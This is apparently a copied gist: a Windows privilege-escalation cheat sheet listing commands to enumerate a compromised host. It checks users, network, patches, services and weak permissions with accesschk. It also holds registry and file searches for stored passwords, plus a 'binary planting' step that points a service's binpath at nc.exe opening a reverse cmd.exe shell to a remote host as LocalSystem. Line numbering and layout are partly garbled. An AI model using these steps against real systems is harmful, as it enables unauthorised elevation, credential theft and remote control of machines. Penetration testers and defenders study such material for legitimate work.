

Windows Privilege Escalation

```
    windows_privesc

                                                                                                                                    Raw
       // What system are we connected to?
       systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
   3
       // Get the hostname and username (if available)
       hostname
       echo %username%
       // Get users
       net users
       net user [username]
  10
  11
       // Networking stuff
       ipconfig /all
  13
  14
  15
       // Printer?
       route print
  16
```

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17
    // ARP-arific
18
    arp -A
19
20
    // Active network connections
22
    netstat -ano
23
    // Firewall fun (Win XP SP2+ only)
24
    netsh firewall show state
    netsh firewall show config
27
    // Scheduled tasks
28
    schtasks /query /fo LIST /v
    // Running processes to started services
     tasklist /SVC
    net start
34
    // Driver madness
    DRIVERQUERY
37
    // WMIC fun (Win 7/8 -- XP requires admin)
38
    wmic /?
39
    # Use wmic_info script!
40
41
    // WMIC: check patch level
    wmic qfe get Caption, Description, HotFixID, InstalledOn
43
44
    // Search pathces for given patch
45
    wmic qfe get Caption, Description, HotFixID, InstalledOn | findstr /C:"KB.." /C:"KB.."
46
47
    // AlwaysInstallElevated fun
48
    reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
```

```
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
51
    // Other commands to run to hopefully get what we need
    dir /s *pass* == *cred* == *vnc* == *.config*
    findstr /si password *.xml *.ini *.txt
    reg query HKLM /f password /t REG_SZ /s
    reg query HKCU /f password /t REG_SZ /s
57
    // Service permissions
    sc query
     sc qc [service_name]
61
    // Accesschk stuff
62
    accesschk.exe /accepteula (always do this first!!!!!)
    accesschk.exe -ucqv [service_name] (requires sysinternals accesschk!)
64
    accesschk.exe -uwcqv "Authenticated Users" * (won't yield anything on Win 8)
65
    accesschk.exe -ucqv [service_name]
66
67
    // Find all weak folder permissions per drive.
    accesschk.exe -uwdqs Users c:\
69
     accesschk.exe -uwdqs "Authenticated Users" c:\
71
    // Find all weak file permissions per drive.
    accesschk.exe -uwqs Users c:\*.*
    accesschk.exe -uwgs "Authenticated Users" c:\*.*
74
    // Binary planting
76
    sc config [service_name] binpath= "C:\nc.exe -nv [RHOST] [RPORT] -e C:\WINDOWS\System32\cmd.exe"
    sc config [service_name] obj= ".\LocalSystem" password= ""
79
     sc qc [service_name] (to verify!)
     net start [service_name]
81
    Mostly all of this taken from http://www.fuzzysecurity.com/tutorials/16.html
```

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